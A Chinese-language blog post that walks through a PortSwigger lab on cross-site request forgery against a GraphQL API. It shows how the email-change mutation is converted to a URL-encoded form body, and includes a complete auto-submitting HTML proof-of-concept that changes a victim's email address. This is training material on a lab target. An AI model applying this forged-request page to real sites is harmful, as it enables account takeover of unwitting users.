freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CSRF+GraphQL的奇妙组合
杳若 2023-08-23 23:00:17 659430

Portswigger练兵场之GraphQL API

CSRF+GraphQL修改邮箱

Lab: Performing CSRF exploits over GraphQL

实验前置必要知识点

首先我们要清楚CSRF无法发送内容类型为application/json
使用该内容类型的 POST请求就可以防止伪造,使用内容类型 的 POST 请求就可以防止伪造。

但是,替代方法(如 GET 或任何内容类型为 x-www-form-urlencoded) 的请求可以由浏览器发送,因此如果终结点接受这些请求,则可能会使用户容易受到攻击。在这种情况下,攻击者可能能够利用漏洞向 API发送恶意请求。

实验要求

本实验室的用户管理功能由GraphOL端点提供支持。端点接受内容类型为x-www-form-urlencoded的请求,因此容易受到跨站点请求伪造(CSRF)攻击。

要解决这个实验室问题,需要制作一些HTML,使用CSRF攻击来更改查看者的电子邮件地址,然后将其上传到您的漏洞利用服务器。

您可以使用以下凭据登录到您自己的帐户:wiener:peter。

渗透开始

  • 访问对应靶场界面

https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api
  • 启动靶场

1. 站点分析

这是博客类型的网站


存在查看文章,无其他功能点


然后存在登录端点


利用wiener:peter登录,存在修改邮箱内容


尝试修改一下

2. 寻找可疑功能点(查看Burp历史记录进行分析)

从总体来看,修改邮箱使用了GraphQL


我们的任务要求是制作CSRF攻击。因此,分析突破口在这。

3. 功能点测试

将对应的日志信息发送到重放模块
由于请求类型的限制,我们是无法直接利用CSRF


尝试修改成GET模式模式不允许


尝试修改请求方式为x-www-form-urlencoded
发现可以通过这种方式发送,修改请求内容

{"query":"\n    mutation changeEmail($input: ChangeEmailInput!) {\n        changeEmail(input: $input) {\n            email\n        }\n    }\n","operationName":"changeEmail","variables":{"input":{"email":"test@test"}}}

修改之后应该是类似GET的传参,将json形式修改

query=\n    mutation changeEmail($input: ChangeEmailInput!) {\n        changeEmail(input: $input) {\n            email\n        }\n    }\n&operationName=changeEmail&variables={"input":{"email":"test@test"}}

因为带空格,进行url编码

query=%5Cn%20%20%20%20mutation%20changeEmail(%24input%3A%20ChangeEmailInput!)%20%7B%5Cn%20%20%20%20%20%20%20%20changeEmail(input%3A%20%24input)%20%7B%5Cn%20%20%20%20%20%20%20%20%20%20%20%20email%5Cn%20%20%20%20%20%20%20%20%7D%5Cn%20%20%20%20%7D%5Cn%26operationName%3DchangeEmail%26variables%3D%7B%22input%22%3A%7B%22email%22%3A%22test%40test%22%7D%7D

发现存在错误,寻找修改


\n也应该进行修改的


但是发现还是有问题


最后进行修改 url编码并不是都适用,&与=不行

query=%0a+mutation+changeEmail(%24input%3a+ChangeEmailInput!)+%7b%0a++++++++changeEmail(input%3a+%24input)+%7b%0a++++++++++++email%0a++++++++%7d%0a++++%7d%0a&operationName=changeEmail&variables=%7b%22input%22%3a%7b%22email%22%3a%22test%40test%22%7d%7d

4.CSRF制作

检查一下HTTP包可以发现里面不存在TOKEN,可以直接CSRF


既然我们构造好可以成功修改邮箱之后,我们制作CSRF攻击包
右键 → 生成CSRF PoC→ 自动提交


利用发送服务器发送恶意CSRF攻击包

5.完成实验
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a1c00330330a758818fa20300f2007d.web-security-academy.net/graphql/v1" method="POST">
      <input type="hidden" name="query" value="
 mutation changeEmail($input: ChangeEmailInput!) {
        changeEmail(input: $input) {
            email
        }
    }
" />
      <input type="hidden" name="operationName" value="changeEmail" />
      <input type="hidden" name="variables" value="{"input":{"email":"ACCECK@HACKER"}}" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

发送后成功修改受害者邮箱,完成实验

防御方法

要防止CSRF就是在校验类型的时候不允许application/json

# 漏洞 # 渗透测试 # 黑客 # 网络安全 # 系统安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 杳若 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
从零开始成为Burp赏金猎人
杳若 LV.6
这家伙太懒了,还未填写个人描述!
  • 46 文章数
  • 28 关注者
记一个奇怪的万能密码
2024-01-24
OSCP系列靶场-Esay-Monitoring
2023-09-20
OSCP系列靶场-Intermediate-BTRSys2.1
2023-09-19
文章目录